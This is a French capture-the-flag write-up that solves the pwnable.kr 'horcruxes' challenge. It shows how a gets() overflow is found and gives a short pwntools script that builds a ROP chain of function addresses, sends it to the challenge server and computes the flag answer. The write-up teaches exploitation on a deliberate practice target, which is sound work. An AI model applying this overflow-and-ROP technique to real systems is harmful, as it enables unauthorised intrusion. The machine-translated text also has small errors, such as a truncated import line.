Dans cet article, nous allons résoudre la 21e tâche du site
pwnable.kr , visant à compiler la chaîne ROP.
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
Solution Ă la quĂŞte des horcruxes
Je ne vois aucune raison de décrire ce qu'est la programmation orientée inverse, car
cet article décrit tout en détail.
Nous cliquons sur l'icĂ´ne de signature horcruxes et on nous dit que nous devons nous connecter via SSH avec le mot de passe guest.

Une fois connecté, nous voyons la bannière correspondante.

Voyons quels fichiers se trouvent sur le serveur, ainsi que les droits dont nous disposons.

Il y a un fichier readme, voyons quel message ils nous ont laissé.

Il est rapporté que le programme s'exécute sur le port 9032. Nous ne recevons pas le code source, alors téléchargez le programme pour nous-mêmes.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/

Exécutez-le dans l'IDA et décompilez-le. Il existe trois fonctions intéressantes: hint, init_ABCDEFG et ropme.

A en juger par le nom, la fonction de conseil devrait contenir un conseil. Voyons-la.

On dit que vous devez passer par 7 niveaux. Eh bien, jetons un œil à ropme.

Déjà plus intéressant. Le programme lit le nombre et s'il est égal à une certaine valeur de référence, une fonction est appelée qui affiche cette valeur. Et donc il y a 7 significations.

S'il n'y avait pas de correspondance, nous sommes invités à entrer une chaîne qui se compare à la somme variable. Jetons donc un œil à init_ABCDEFG.

Ici, l'initialisation des valeurs de référence, qui sont générées aléatoirement, a lieu. Et la somme est la somme de ces nombres.
Nous avons réglé le programme. L'info-bulle de quête indique ROP. L'idée est la suivante, nous devons appeler les 7 fonctions pour connaître les valeurs de référence, puis appeler à nouveau ropme pour transférer la somme de ces valeurs.
Grâce à la fonction gets, nous pouvons réécrire l'adresse de retour avec une chaîne d'adresses. Nous calculons le nombre d'octets à l'adresse de retour.

Ainsi, nous devons transférer vers le programme, nous devons transférer 0x78 octets du stub, puis dans une rangée 8 adresses de fonctions. Dans l'IDA, nous trouvons les adresses de nos fonctions.

Écrivons maintenant un exploit.
rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n")

Nous obtenons le drapeau souhaité et terminons la première partie des tâches sur pwnable.kr.

Vous pouvez nous rejoindre sur
Telegram . La prochaine fois, nous traiterons du débordement de tas.